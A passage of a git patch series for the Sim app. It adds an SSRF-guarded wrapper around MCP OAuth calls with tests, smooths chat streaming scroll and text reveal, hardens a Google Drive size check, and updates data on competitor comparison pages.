'@/lib/mcp/oauth' -import { createSsrfGuardedMcpFetch } from '@/lib/mcp/pinned-fetch' import { mcpService } from '@/lib/mcp/service' const logger = createLogger('McpOauthCallbackAPI') @@ -145,12 +144,11 @@ export const GET = withRouteHandler(async (request: NextRequest) => { const preregistered = await loadPreregisteredClient(server.id) const provider = new SimMcpOauthProvider({ row, preregistered }) - let result: Awaited> + let result: Awaited> try { - result = await mcpAuth(provider, { + result = await mcpAuthGuarded(provider, { serverUrl: server.url, authorizationCode: code, - fetchFn: createSsrfGuardedMcpFetch(), }) } catch (e) { logger.error('Token exchange failed during MCP OAuth callback', e) diff --git a/apps/sim/app/api/mcp/oauth/start/route.test.ts b/apps/sim/app/api/mcp/oauth/start/route.test.ts index e4a5132a4fa..68dd96b2bf3 100644 --- a/apps/sim/app/api/mcp/oauth/start/route.test.ts +++ b/apps/sim/app/api/mcp/oauth/start/route.test.ts @@ -17,12 +17,6 @@ import { import { NextRequest } from 'next/server' import { beforeEach, describe, expect, it, vi } from 'vitest' -const { mockMcpAuth, mockCreateSsrfGuardedMcpFetch, mockGuardedFetch } = vi.hoisted(() => ({ - mockMcpAuth: vi.fn(), - mockCreateSsrfGuardedMcpFetch: vi.fn(), - mockGuardedFetch: vi.fn(), -})) - vi.mock('@sim/db', () => dbChainMock) vi.mock('@sim/db/schema', () => schemaMock) vi.mock('drizzle-orm', () => ({ @@ -30,12 +24,6 @@ vi.mock('drizzle-orm', () => ({ eq: vi.fn(), isNull: vi.fn(), })) -vi.mock('@modelcontextprotocol/sdk/client/auth.js', () => ({ - auth: mockMcpAuth, -})) -vi.mock('@/lib/mcp/pinned-fetch', () => ({ - createSsrfGuardedMcpFetch: mockCreateSsrfGuardedMcpFetch, -})) vi.mock('@/lib/auth/hybrid', () => hybridAuthMock) vi.mock('@/lib/workspaces/permissions/utils', () => permissionsMock) vi.mock('@/lib/mcp/oauth', () => mcpOauthMock) @@ -77,21 +65,24 @@ describe('MCP OAuth start route', () => { updatedAt: new Date(), }) mcpOauthMockFns.mockLoadPreregisteredClient.mockResolvedValue(undefined) - mockMcpAuth.mockRejectedValue(new McpOauthRedirectRequiredMock('https://mcp.exa.ai/authorize')) - mockCreateSsrfGuardedMcpFetch.mockReturnValue(mockGuardedFetch) + mcpOauthMockFns.mockMcpAuthGuarded.mockRejectedValue( + new McpOauthRedirectRequiredMock('https://mcp.exa.ai/authorize') + ) }) - it('routes OAuth discovery through the SSRF-guarded fetch', async () => { + it('routes OAuth discovery through the SSRF-guarded mcpAuthGuarded wrapper', async () => { const request = new NextRequest( 'http://localhost:3000/api/mcp/oauth/start?workspaceId=workspace-1&serverId=server-1' ) await GET(request) - expect(mockCreateSsrfGuardedMcpFetch).toHaveBeenCalledTimes(1) - expect(mockMcpAuth).toHaveBeenCalledWith( + // The route must call the guarded wrapper (which defaults fetchFn to the + // SSRF-guarded fetch internally) rather than the raw SDK `auth()` — see + // apps/sim/lib/mcp/oauth/auth.test.ts for the wrapper's own fetchFn coverage. + expect(mcpOauthMockFns.mockMcpAuthGuarded).toHaveBeenCalledWith( expect.anything(), - expect.objectContaining({ serverUrl: 'https://mcp.exa.ai/mcp', fetchFn: mockGuardedFetch }) + expect.objectContaining({ serverUrl: 'https://mcp.exa.ai/mcp' }) ) }) @@ -152,7 +143,7 @@ describe('MCP OAuth start route', () => { expect(response.status).toBe(409) expect(body.error).toBe('OAuth authorization already in progress for this server') - expect(mockMcpAuth).not.toHaveBeenCalled() + expect(mcpOauthMockFns.mockMcpAuthGuarded).not.toHaveBeenCalled() }) it('does not leak non-OAuth internal error details to the client', async () => { diff --git a/apps/sim/app/api/mcp/oauth/start/route.ts b/apps/sim/app/api/mcp/oauth/start/route.ts index 3b228bd95c0..edb17a0f1c9 100644 --- a/apps/sim/app/api/mcp/oauth/start/route.ts +++ b/apps/sim/app/api/mcp/oauth/start/route.ts @@ -1,4 +1,3 @@ -import { auth as mcpAuth } from '@modelcontextprotocol/sdk/client/auth.js' import { OAuthError, ServerError } from '@modelcontextprotocol/sdk/server/auth/errors.js' import { db } from '@sim/db' import { mcpServers } from '@sim/db/schema' @@ -17,10 +16,10 @@ import { loadPreregisteredClient, McpOauthInsecureUrlError, McpOauthRedirectRequired, + mcpAuthGuarded, SimMcpOauthProvider, setOauthRowUser, } from '@/lib/mcp/oauth' -import { createSsrfGuardedMcpFetch } from '@/lib/mcp/pinned-fetch' import { createMcpErrorResponse } from '@/lib/mcp/utils' const logger = createLogger('McpOauthStartAPI') @@ -130,9 +129,8 @@ export const GET = withRouteHandler( const provider = new SimMcpOauthProvider({ row, preregistered }) try { - const result = await mcpAuth(provider, { + const result = await mcpAuthGuarded(provider, { serverUrl: server.url, - fetchFn: createSsrfGuardedMcpFetch(), }) if (result === 'AUTHORIZED') { return NextResponse.json({ status: 'already_authorized' }) diff --git a/apps/sim/lib/mcp/oauth/auth.test.ts b/apps/sim/lib/mcp/oauth/auth.test.ts new file mode 100644 index 00000000000..8b8df25dfdd --- /dev/null +++ b/apps/sim/lib/mcp/oauth/auth.test.ts @@ -0,0 +1,54 @@ +/** + * @vitest-environment node + */ +import type { OAuthClientProvider } from '@modelcontextprotocol/sdk/client/auth.js' +import { beforeEach, describe, expect, it, vi } from 'vitest' + +const { mockAuth, mockCreateSsrfGuardedMcpFetch, mockGuardedFetch } = vi.hoisted(() => ({ + mockAuth: vi.fn(), + mockCreateSsrfGuardedMcpFetch: vi.fn(), + mockGuardedFetch: vi.fn(), +})) + +vi.mock('@modelcontextprotocol/sdk/client/auth.js', () => ({ + auth: mockAuth, +})) +vi.mock('@/lib/mcp/pinned-fetch', () => ({ + createSsrfGuardedMcpFetch: mockCreateSsrfGuardedMcpFetch, +})) + +import { mcpAuthGuarded } from '@/lib/mcp/oauth/auth' + +describe('mcpAuthGuarded', () => { + const provider = {} as OAuthClientProvider + + beforeEach(() => { + vi.clearAllMocks() + mockCreateSsrfGuardedMcpFetch.mockReturnValue(mockGuardedFetch) + mockAuth.mockResolvedValue('AUTHORIZED') + }) + + it('defaults fetchFn to the SSRF-guarded fetch', async () => { + await mcpAuthGuarded(provider, { serverUrl: 'https://mcp.example.com/mcp' }) + + expect(mockCreateSsrfGuardedMcpFetch).toHaveBeenCalledTimes(1) + expect(mockAuth).toHaveBeenCalledWith(provider, { + serverUrl: 'https://mcp.example.com/mcp', + fetchFn: mockGuardedFetch, + }) + }) + + it('lets a caller-supplied fetchFn override the default', async () => { + const overrideFetch = vi.fn() + + await mcpAuthGuarded(provider, { + serverUrl: 'https://mcp.example.com/mcp', + fetchFn: overrideFetch, + }) + + expect(mockAuth).toHaveBeenCalledWith(provider, { + serverUrl: 'https://mcp.example.com/mcp', + fetchFn: overrideFetch, + }) + }) +}) diff --git a/apps/sim/lib/mcp/oauth/auth.ts b/apps/sim/lib/mcp/oauth/auth.ts new file mode 100644 index 00000000000..68d9ff7f1fb --- /dev/null +++ b/apps/sim/lib/mcp/oauth/auth.ts @@ -0,0 +1,19 @@ +import { auth, type OAuthClientProvider } from '@modelcontextprotocol/sdk/client/auth.js' +import { createSsrfGuardedMcpFetch } from '@/lib/mcp/pinned-fetch' + +type McpAuthOptions = Parameters[1] + +/** + * Wraps the MCP SDK's `auth()` and defaults `fetchFn` to the SSRF-guarded + * fetch. Every URL touched during an MCP OAuth exchange — discovery, + * authorization, token, and revocation endpoints — can come from + * attacker-controllable authorization-server metadata, so callers must not + * be able to omit the guard by forgetting to pass `fetchFn` explicitly. + * Pass `fetchFn` in `options` to override (e.g. in tests). + */ +export function mcpAuthGuarded( + provider: OAuthClientProvider, + options: McpAuthOptions +): ReturnType { + return auth(provider, { fetchFn: createSsrfGuardedMcpFetch(), ...options }) +} diff --git a/apps/sim/lib/mcp/oauth/index.ts b/apps/sim/lib/mcp/oauth/index.ts index 41dd96111cc..5237b22fe16 100644 --- a/apps/sim/lib/mcp/oauth/index.ts +++ b/apps/sim/lib/mcp/oauth/index.ts @@ -1,3 +1,4 @@ +export { mcpAuthGuarded } from './auth' export type { McpOauthCallbackMessage, McpOauthCallbackReason, diff --git a/packages/testing/src/mocks/mcp-oauth.mock.ts b/packages/testing/src/mocks/mcp-oauth.mock.ts index 86d6f5508d0..81dee8de9c4 100644 --- a/packages/testing/src/mocks/mcp-oauth.mock.ts +++ b/packages/testing/src/mocks/mcp-oauth.mock.ts @@ -12,6 +12,7 @@ import { vi } from 'vitest' */ export const mcpOauthMockFns = { mockAssertSafeOauthServerUrl: vi.fn(), + mockMcpAuthGuarded: vi.fn(), mockGetOrCreateOauthRow: vi.fn(), mockLoadOauthRow: vi.fn(), mockLoadOauthRowByState: vi.fn(), @@ -63,6 +64,7 @@ function buildSimMcpOauthProvider(value: object) { */ export const mcpOauthMock = { assertSafeOauthServerUrl: mcpOauthMockFns.mockAssertSafeOauthServerUrl, + mcpAuthGuarded: mcpOauthMockFns.mockMcpAuthGuarded, getOrCreateOauthRow: mcpOauthMockFns.mockGetOrCreateOauthRow, loadOauthRow: mcpOauthMockFns.mockLoadOauthRow, loadOauthRowByState: mcpOauthMockFns.mockLoadOauthRowByState, From f456ed9a0b9b8966757fc754e15f0596ac98483e Mon Sep 17 00:00:00 2001 From: Theodore Li Date: Sat, 4 Jul 2026 16:02:50 -0700 Subject: [PATCH 12/16] =?UTF-8?q?improvement(chat):=20smooth=20streaming?= =?UTF-8?q?=20=E2=80=94=20eased=20stick-to-bottom=20glide=20and=20time-bas?= =?UTF-8?q?ed=20reveal=20pacing=20(#5417)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * improvement(chat): eased stick-to-bottom glide for streaming chat * improvement(chat): time-based word-at-a-time reveal pacing * improvement(chat): harden smooth-chase against reentrant kick/cancel during a step --- apps/sim/hooks/use-auto-scroll.ts | 54 ++++++--- apps/sim/hooks/use-smooth-text.ts | 113 +++++++++++------- .../sim/lib/core/utils/smooth-bottom-chase.ts | 92 ++++++++++++++ 3 files changed, 199 insertions(+), 60 deletions(-) create mode 100644 apps/sim/lib/core/utils/smooth-bottom-chase.ts diff --git a/apps/sim/hooks/use-auto-scroll.ts b/apps/sim/hooks/use-auto-scroll.ts index cfc2c5c5529..19b3a47a9ed 100644 --- a/apps/sim/hooks/use-auto-scroll.ts +++ b/apps/sim/hooks/use-auto-scroll.ts @@ -1,4 +1,9 @@ import { useCallback, useEffect, useRef } from 'react' +import { + CHASE_REST_GAP, + createSmoothBottomChase, + SMOOTH_CHASE_RATE, +} from '@/lib/core/utils/smooth-bottom-chase' /** Tolerance for keeping stickiness during programmatic auto-scroll. */ const STICK_THRESHOLD = 30 @@ -61,7 +66,6 @@ export function useAutoScroll( const prevScrollTopRef = useRef(0) const prevScrollHeightRef = useRef(0) const touchStartYRef = useRef(0) - const rafIdRef = useRef(0) const scrollOnMountRef = useRef(scrollOnMount) /** * Whether the user is actively dragging the scrollbar — a pointer press on the @@ -92,13 +96,33 @@ export function useAutoScroll( const el = containerRef.current if (!el) return + /** + * Eased bottom-chase shared by the mutation observer and the seed below — + * the same glide the subagent viewport uses, instead of snapping to + * `scrollHeight` on every content mutation. Chase writes only ever move + * `scrollTop` down, so the detach logic in `onScroll` (which requires an + * upward move) never mistakes the glide for a user scroll; the helper's + * own upward-move interrupt and the per-frame sticky check are extra + * layers of the same guarantee. + */ + const chase = createSmoothBottomChase( + { + getTop: () => el.scrollTop, + getBottomTop: () => el.scrollHeight - el.clientHeight, + setTop: (top) => { + el.scrollTop = top + }, + }, + () => stickyRef.current + ) + const distanceFromBottom = el.scrollHeight - el.scrollTop - el.clientHeight const isNearBottom = distanceFromBottom <= STICK_THRESHOLD stickyRef.current = isNearBottom userDetachedRef.current = !isNearBottom prevScrollTopRef.current = el.scrollTop prevScrollHeightRef.current = el.scrollHeight - if (isNearBottom) scrollToBottom() + if (isNearBottom) chase.kick() const detach = () => { stickyRef.current = false @@ -164,25 +188,20 @@ export function useAutoScroll( prevScrollHeightRef.current = scrollHeight } - const guardedScroll = () => { - if (stickyRef.current) scrollToBottom() - } - const onMutation = () => { prevScrollHeightRef.current = el.scrollHeight if (!stickyRef.current) return - cancelAnimationFrame(rafIdRef.current) - rafIdRef.current = requestAnimationFrame(guardedScroll) + chase.kick() } /** - * Chase the bottom every frame for `durationMs`. Catches height growth that - * arrives over several frames with no observed DOM mutation — a CSS height - * animation, or end-of-turn content and the virtualizer's re-measure settling - * after streaming stops. + * Chase the bottom every frame for `durationMs` with the same eased step. + * Catches height growth that arrives over several frames with no observed + * DOM mutation — a CSS height animation, or end-of-turn content and the + * virtualizer's re-measure settling after streaming stops. * - * Self-interrupting: height growth leaves `scrollTop` exactly where we last - * put it, whereas a user scroll moves it up from there — so the moment + * Self-interrupting: our eased writes leave `scrollTop` exactly where we + * last put it, whereas a user scroll moves it up from there — so the moment * `scrollTop` drops below our last write, we stop and never fight a real * scroll, even with the gesture listeners already torn down. */ @@ -193,7 +212,10 @@ export function useAutoScroll( const follow = () => { if (performance.now() > until || !stickyRef.current) return if (lastTop >= 0 && el.scrollTop < lastTop - 1) return - scrollToBottom() + const gap = el.scrollHeight - el.clientHeight - el.scrollTop + if (gap > CHASE_REST_GAP) { + el.scrollTop = el.scrollTop + Math.max(1, gap * SMOOTH_CHASE_RATE) + } lastTop = el.scrollTop requestAnimationFrame(follow) } @@ -232,7 +254,7 @@ export function useAutoScroll( window.removeEventListener('pointerup', onPointerUp) window.removeEventListener('pointercancel', onPointerUp) observer.disconnect() - cancelAnimationFrame(rafIdRef.current) + chase.cancel() pointerDownRef.current = false lastUserGestureAtRef.current = Number.NEGATIVE_INFINITY followToBottom(POST_STREAM_SETTLE_WINDOW) diff --git a/apps/sim/hooks/use-smooth-text.ts b/apps/sim/hooks/use-smooth-text.ts index b366d839954..0411e8365d8 100644 --- a/apps/sim/hooks/use-smooth-text.ts +++ b/apps/sim/hooks/use-smooth-text.ts @@ -1,41 +1,46 @@ import { useEffect, useRef, useState } from 'react' /** - * Paced reveal of a growing string, ported from opencode's `createPacedValue` - * (`packages/ui/src/components/message-part.tsx`). Instead of revealing a fixed - * number of characters per animation frame, it advances on a steady ~24ms timer - * in small tiered steps that SNAP to the next word/punctuation boundary — so - * text appears word-by-word at a calm, even cadence regardless of how bursty the - * upstream model deltas are. The boundary snapping is what keeps it from reading - * as "blocky": a reveal never stops mid-word. + * Time-based paced reveal of a growing string. A per-frame loop earns a + * character budget from elapsed time and releases text one word/punctuation + * boundary at a time — so words appear individually, evenly spaced on the + * timeline, instead of the old fixed-interval tick that dumped a multi-word + * chunk every 24ms and read as blocky. + * + * The rate is a proportional controller: drain the current backlog over + * {@link DRAIN_HORIZON_MS}. It therefore converges on the stream's real + * arrival rate — a fast stream reveals fast, a slow one trickles — instead of + * racing ahead at a fixed cap, emptying the backlog, and stalling until the + * next network burst (the old burst–pause rhythm). */ -const PACE_MS = 24 const SNAP = /[\s.,!?;:)\]]/ -/** - * Characters to advance per tick as a function of how far the reveal is behind. - * Small backlogs trickle (2–8 chars); large backlogs accelerate but stay capped - * so a burst is spread over several ticks rather than dumped at once. - */ -function step(remaining: number): number { - if (remaining <= 12) return 2 - if (remaining <= 48) return 4 - if (remaining <= 96) return 8 - return Math.min(24, Math.ceil(remaining / 8)) +/** Reveal the backlog over roughly this horizon (a small jitter buffer). */ +const DRAIN_HORIZON_MS = 400 +/** Floor so a near-empty backlog still trickles out instead of freezing. */ +const MIN_CPS = 45 +/** Cap so a huge backlog (resume, giant paste) sweeps in over ~a second. */ +const MAX_CPS = 2400 + +/** Chars/second that drains `remaining` over the horizon, clamped. */ +function drainRate(remaining: number): number { + return Math.min(MAX_CPS, Math.max(MIN_CPS, (remaining * 1000) / DRAIN_HORIZON_MS)) } /** - * Advance from `start` by `step(...)`, then extend up to 8 more characters to - * land just past the next word/punctuation boundary so the reveal lands on a - * whole word rather than mid-token. + * The furthest word/punctuation boundary within `start + budget`, or `start` + * when the budget doesn't yet cover the next whole word (the budget carries + * over to later frames). Words longer than the 24-char lookahead are released + * whole once the budget covers the lookahead, so an unbroken token (a URL, a + * long identifier) cannot dam the reveal. */ -function nextIndex(text: string, start: number): number { - const end = Math.min(text.length, start + step(text.length - start)) - const max = Math.min(text.length, end + 8) - for (let i = end; i < max; i++) { - if (SNAP.test(text[i] ?? '')) return i + 1 +function nextIndex(text: string, start: number, budget: number): number { + const limit = Math.min(text.length, start + Math.floor(budget)) + for (let i = limit; i > start; i--) { + if (SNAP.test(text[i - 1] ?? '')) return i } - return end + if (limit >= Math.min(text.length, start + 24)) return limit + return start } /** @@ -74,13 +79,13 @@ interface SmoothTextOptions { * * @remarks * The re-arm effect runs on every committed render with a cheap - * `timeoutRef === null` guard instead of keying on a `hasBacklog` dependency. - * The tick chain self-terminates whenever the reveal catches up, and a chain - * keyed on the `hasBacklog` boolean could die for good: when the final tick's + * `rafRef === null` guard instead of keying on a `hasBacklog` dependency. + * The frame chain self-terminates whenever the reveal catches up, and a chain + * keyed on the `hasBacklog` boolean could die for good: when the final frame's * `setRevealed` and a new chunk land in the same React commit, `hasBacklog` * stays `true` across commits, the effect never re-fires, and the reveal * freezes mid-stream until remount. Re-arming per render closes that - * interleaving while still avoiding per-chunk timer teardown (no cleanup on + * interleaving while still avoiding per-chunk loop teardown (no cleanup on * content changes), so it cannot trip React's max-update-depth guard either. * If upstream sanitization rewrites earlier text and shrinks the string, the * cursor is pulled back to the new end so regrowth stays paced instead of @@ -99,7 +104,10 @@ export function useSmoothText( const contentRef = useRef(content) const revealedRef = useRef(revealed) - const timeoutRef = useRef | null>(null) + const rafRef = useRef(null) + /** Fractional character budget carried between frames (see the frame loop). */ + const budgetRef = useRef(0) + const lastFrameAtRef = useRef(0) const prevContentRef = useRef(content) const prevIsStreamingRef = useRef(isStreaming) @@ -142,36 +150,53 @@ export function useSmoothText( }, [content, isStreaming]) useEffect(() => { - const run = () => { - timeoutRef.current = null + /** + * Per-frame reveal: each frame earns `drainRate * dt` characters of budget + * (fractional remainder carried in `budgetRef`), and the cursor advances to + * the furthest word boundary the budget covers — releasing words one at a + * time, evenly spaced in real time, rather than a fixed-size chunk per + * tick. Frames whose budget doesn't yet cover the next word update nothing. + */ + const run = (now: number) => { + rafRef.current = null const text = contentRef.current const target = text.length if (revealedRef.current > target) { revealedRef.current = target + budgetRef.current = 0 setRevealed(target) } const current = revealedRef.current if (current >= target) return - const next = nextIndex(text, current) - revealedRef.current = next - setRevealed(next) - if (next < target) { - timeoutRef.current = setTimeout(run, PACE_MS) + // Clamp dt so a background tab's paused rAF doesn't bank a giant budget. + const dt = Math.min(now - lastFrameAtRef.current, 100) + lastFrameAtRef.current = now + budgetRef.current += (drainRate(target - current) * dt) / 1000 + + const next = nextIndex(text, current, budgetRef.current) + if (next > current) { + budgetRef.current -= next - current + revealedRef.current = next + setRevealed(next) + } + if (revealedRef.current < target) { + rafRef.current = requestAnimationFrame(run) } } - if (hasBacklog && timeoutRef.current === null) { - timeoutRef.current = setTimeout(run, PACE_MS) + if (hasBacklog && rafRef.current === null) { + lastFrameAtRef.current = performance.now() + rafRef.current = requestAnimationFrame(run) } }) useEffect( () => () => { - if (timeoutRef.current !== null) { - clearTimeout(timeoutRef.current) - timeoutRef.current = null + if (rafRef.current !== null) { + cancelAnimationFrame(rafRef.current) + rafRef.current = null } }, [] diff --git a/apps/sim/lib/core/utils/smooth-bottom-chase.ts b/apps/sim/lib/core/utils/smooth-bottom-chase.ts new file mode 100644 index 00000000000..1f6dea0af16 --- /dev/null +++ b/apps/sim/lib/core/utils/smooth-bottom-chase.ts @@ -0,0 +1,92 @@ +/** + * Fraction of the remaining gap to close per frame while chasing the bottom — + * an exponential glide (originating in the subagent viewport's stick-to-bottom, + * see BoundedViewport in agent-group.tsx) instead of snapping `scrollTop` to + * `scrollHeight` on every content append. Closes ~90% of any gap within ~18 + * frames (~300ms) — deliberately lazier than the subagent viewport's 0.18 so a + * large content burst reads as a calm upward drift of the transcript rather + * than a lurch. + */ +export const SMOOTH_CHASE_RATE = 0.12 + +/** Gap (px) below which the chase parks until new growth reopens it. */ +export const CHASE_REST_GAP = 0.5 + +export interface SmoothBottomChaseTarget { + /** Current scroll offset. */ + getTop: () => number + /** Scroll offset at which the viewport bottom meets the content bottom. */ + getBottomTop: () => number + /** Apply a new scroll offset. */ + setTop: (top: number) => void +} + +export interface SmoothBottomChaseHandle { + /** True while a chase frame is scheduled (gap still closing). */ + isActive: () => boolean + /** Start the loop if parked. Call after content growth. */ + kick: () => void + cancel: () => void +} + +/** + * Eased stick-to-bottom chase over any scrollable target (a DOM element or an + * editor API like Monaco's). Each frame closes {@link SMOOTH_CHASE_RATE} of the + * remaining gap and self-parks at {@link CHASE_REST_GAP}; content growth + * restarts it via `kick()`. + * + * Self-interrupting: chase writes only ever move the offset down, and content + * growth leaves it where the last write put it — so an offset that moved UP + * since the last write can only be a user scrolling away, and the loop parks + * instead of fighting them. `shouldContinue` layers any caller-owned stickiness + * on top (checked every frame). + */ +export function createSmoothBottomChase( + target: SmoothBottomChaseTarget, + shouldContinue: () => boolean = () => true +): SmoothBottomChaseHandle { + let raf: number | null = null + let lastTop: number | null = null + + const park = () => { + if (raf !== null) cancelAnimationFrame(raf) + raf = null + lastTop = null + } + + const step = () => { + // `raf` deliberately keeps this (already-fired) frame's id while the step + // body runs: canceling a fired handle is a no-op, and a non-null `raf` + // means `isActive()` stays true and a reentrant `kick()` — e.g. from a + // target whose `setTop` fires synchronous scroll listeners, like Monaco's + // onDidScrollChange — cannot start a second parallel chain. + if (!shouldContinue()) { + park() + return + } + const top = target.getTop() + if (lastTop !== null && top < lastTop - 1) { + park() + return + } + const gap = target.getBottomTop() - top + if (gap <= CHASE_REST_GAP) { + park() + return + } + target.setTop(top + Math.max(1, gap * SMOOTH_CHASE_RATE)) + // A synchronous side-effect of `setTop` may have called `cancel()`; honor + // it instead of re-queuing over it. + if (raf === null) return + lastTop = target.getTop() + raf = requestAnimationFrame(step) + } + + return { + isActive: () => raf !== null, + kick: () => { + if (raf === null) raf = requestAnimationFrame(step) + }, + cancel: park, + } +} From 3edaae31fe4907380edbac6d00381d652b7f0943 Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 16:44:46 -0700 Subject: [PATCH 13/16] fix(mcp): correct fetchFn fallback order in mcpAuthGuarded (#5423) Spread order previously let an explicit fetchFn (including fetchFn: undefined) in options silently disable the SSRF-guarded default. Fallback is now applied after the spread so the guard always wins unless a real override is passed. fix(tools): handle non-numeric Drive file size in early size check Guard the pre-download size check against a malformed metadata.size string so it's skipped explicitly instead of relying on an incidental NaN no-op; the streaming cap on the actual download still enforces the limit either way. --- .../tools/google_drive/download/route.test.ts | 24 +++++++++++++++++++ .../api/tools/google_drive/download/route.ts | 9 ++++--- apps/sim/lib/mcp/oauth/auth.test.ts | 13 ++++++++++ apps/sim/lib/mcp/oauth/auth.ts | 2 +- 4 files changed, 42 insertions(+), 6 deletions(-) diff --git a/apps/sim/app/api/tools/google_drive/download/route.test.ts b/apps/sim/app/api/tools/google_drive/download/route.test.ts index 2599b515a3b..a9ec28346de 100644 --- a/apps/sim/app/api/tools/google_drive/download/route.test.ts +++ b/apps/sim/app/api/tools/google_drive/download/route.test.ts @@ -133,6 +133,30 @@ describe('POST /api/tools/google_drive/download', () => { expect(data.success).toBe(false) }) + it('proceeds to the streamed download when metadata size is malformed', async () => { + mockSecureFetchWithPinnedIP + .mockResolvedValueOnce( + jsonResponse({ + id: 'file-abc', + name: 'report.pdf', + mimeType: 'application/pdf', + size: 'not-a-number', + capabilities: { canReadRevisions: false }, + }) + ) + .mockResolvedValueOnce(fileResponse(1024)) + + const response = await POST(createMockRequest('POST', baseBody)) + expect(response.status).toBe(200) + const data = (await response.json()) as { success: boolean; output: { file: { size: number } } } + expect(data.success).toBe(true) + expect(data.output.file.size).toBe(1024) + + // The early size check should be skipped, but the streaming cap must still apply. + const downloadCall = mockSecureFetchWithPinnedIP.mock.calls[1] + expect(downloadCall[2]).toMatchObject({ maxResponseBytes: MAX_FILE_SIZE }) + }) + it('does not require a metadata size for Google Workspace exports', async () => { mockSecureFetchWithPinnedIP .mockResolvedValueOnce( diff --git a/apps/sim/app/api/tools/google_drive/download/route.ts b/apps/sim/app/api/tools/google_drive/download/route.ts index a4e76f2acd6..788a7de418b 100644 --- a/apps/sim/app/api/tools/google_drive/download/route.ts +++ b/apps/sim/app/api/tools/google_drive/download/route.ts @@ -188,11 +188,10 @@ export const POST = withRouteHandler(async (request: NextRequest) => { logger.info(`[${requestId}] Downloading regular file`, { fileId, mimeType: fileMimeType }) if (metadata.size) { - assertKnownSizeWithinLimit( - Number.parseInt(metadata.size, 10), - MAX_FILE_SIZE, - `Google Drive file ${fileId}` - ) + const parsedSize = Number.parseInt(metadata.size, 10) + if (Number.isFinite(parsedSize)) { + assertKnownSizeWithinLimit(parsedSize, MAX_FILE_SIZE, `Google Drive file ${fileId}`) + } } const downloadUrl = `https://www.googleapis.com/drive/v3/files/${fileId}?alt=media&supportsAllDrives=true` diff --git a/apps/sim/lib/mcp/oauth/auth.test.ts b/apps/sim/lib/mcp/oauth/auth.test.ts index 8b8df25dfdd..d9b6e79c492 100644 --- a/apps/sim/lib/mcp/oauth/auth.test.ts +++ b/apps/sim/lib/mcp/oauth/auth.test.ts @@ -51,4 +51,17 @@ describe('mcpAuthGuarded', () => { fetchFn: overrideFetch, }) }) + + it('falls back to the SSRF-guarded fetch when fetchFn is explicitly undefined', async () => { + await mcpAuthGuarded(provider, { + serverUrl: 'https://mcp.example.com/mcp', + fetchFn: undefined, + }) + + expect(mockCreateSsrfGuardedMcpFetch).toHaveBeenCalledTimes(1) + expect(mockAuth).toHaveBeenCalledWith(provider, { + serverUrl: 'https://mcp.example.com/mcp', + fetchFn: mockGuardedFetch, + }) + }) }) diff --git a/apps/sim/lib/mcp/oauth/auth.ts b/apps/sim/lib/mcp/oauth/auth.ts index 68d9ff7f1fb..e94a91b058a 100644 --- a/apps/sim/lib/mcp/oauth/auth.ts +++ b/apps/sim/lib/mcp/oauth/auth.ts @@ -15,5 +15,5 @@ export function mcpAuthGuarded( provider: OAuthClientProvider, options: McpAuthOptions ): ReturnType { - return auth(provider, { fetchFn: createSsrfGuardedMcpFetch(), ...options }) + return auth(provider, { ...options, fetchFn: options.fetchFn ?? createSsrfGuardedMcpFetch() }) } From ee1824caef1cf08b0373442808fc23a76a2746e7 Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 16:50:00 -0700 Subject: [PATCH 14/16] improvement(compare): accuracy and consistency pass on comparison pages (#5422) * improvement(compare): accuracy and consistency pass on comparison pages Cross-checked facts across all comparison pages against live sources, corrected a few internal inconsistencies, and added one new fact category. No schema or rendering changes beyond a single new row. * fix(compare): align a parity check and a stale source citation * improvement(compare): cross-reference Sim's permission-groups system from rbac * improvement(compare): sharper bottom-line reasoning, minor emphasis fixes Reworded a few competitor headline claims to reflect genuine product positioning rather than a narrow feature, and gave a couple of Sim's own already-documented capabilities (model reach, integration count, live collaboration) more prominent placement. * improvement(compare): verify every cited source is live, fix a few dead links * fix(compare): correct mcpSupport boolean-icon misparse in power-automate.ts --- .../comparison/comparison-sections.ts | 1 + .../compare/data/competitors/claude-cowork.ts | 24 ++- .../lib/compare/data/competitors/crewai.ts | 91 +++++---- apps/sim/lib/compare/data/competitors/dust.ts | 71 ++++--- .../lib/compare/data/competitors/flowise.ts | 50 +++-- .../lib/compare/data/competitors/gumloop.ts | 57 ++++-- .../lib/compare/data/competitors/langchain.ts | 57 ++++-- .../lib/compare/data/competitors/langflow.ts | 39 +++- apps/sim/lib/compare/data/competitors/make.ts | 54 ++++-- .../data/competitors/microsoft-copilot.ts | 179 ++++++++++++------ apps/sim/lib/compare/data/competitors/n8n.ts | 70 ++++--- .../data/competitors/openai-agentkit.ts | 96 +++++++--- .../lib/compare/data/competitors/openclaw.ts | 91 +++++---- .../lib/compare/data/competitors/pipedream.ts | 56 ++++-- .../data/competitors/power-automate.ts | 67 +++++-- .../lib/compare/data/competitors/retool.ts | 70 +++++-- .../lib/compare/data/competitors/stackai.ts | 91 ++++++--- .../sim/lib/compare/data/competitors/tines.ts | 63 ++++-- .../lib/compare/data/competitors/vellum.ts | 113 +++++++---- .../lib/compare/data/competitors/workato.ts | 113 +++++++---- .../lib/compare/data/competitors/zapier.ts | 44 ++++- apps/sim/lib/compare/data/sim.ts | 93 +++++++-- apps/sim/lib/compare/data/types.ts | 2 + 23 files changed, 1123 insertions(+), 469 deletions(-) diff --git a/apps/sim/app/(landing)/comparison/comparison-sections.ts b/apps/sim/app/(landing)/comparison/comparison-sections.ts index ce4609a451e..3943cfef557 100644 --- a/apps/sim/app/(landing)/comparison/comparison-sections.ts +++ b/apps/sim/app/(landing)/comparison/comparison-sections.ts @@ -142,6 +142,7 @@ export const COMPARISON_SECTIONS: ComparisonSectionDef[] = [ { key: 'asyncExecution', label: 'Async execution' }, { key: 'executionLimits', label: 'Execution limits' }, { key: 'partialFailureHandling', label: 'Partial-failure handling' }, + { key: 'unattendedExecution', label: 'Unattended execution' }, ], }), defineSection({ diff --git a/apps/sim/lib/compare/data/competitors/claude-cowork.ts b/apps/sim/lib/compare/data/competitors/claude-cowork.ts index a5980e726bb..ce43773693a 100644 --- a/apps/sim/lib/compare/data/competitors/claude-cowork.ts +++ b/apps/sim/lib/compare/data/competitors/claude-cowork.ts @@ -577,7 +577,8 @@ export const claudeCoworkProfile: CompetitorProfile = { }, integrations: { integrationCount: { - value: '200+ connectors (third-party estimate; Anthropic does not publish an exact figure)', + value: + "200+ connectors (estimated from Anthropic's own Connectors Directory; Anthropic does not publish an exact figure)", 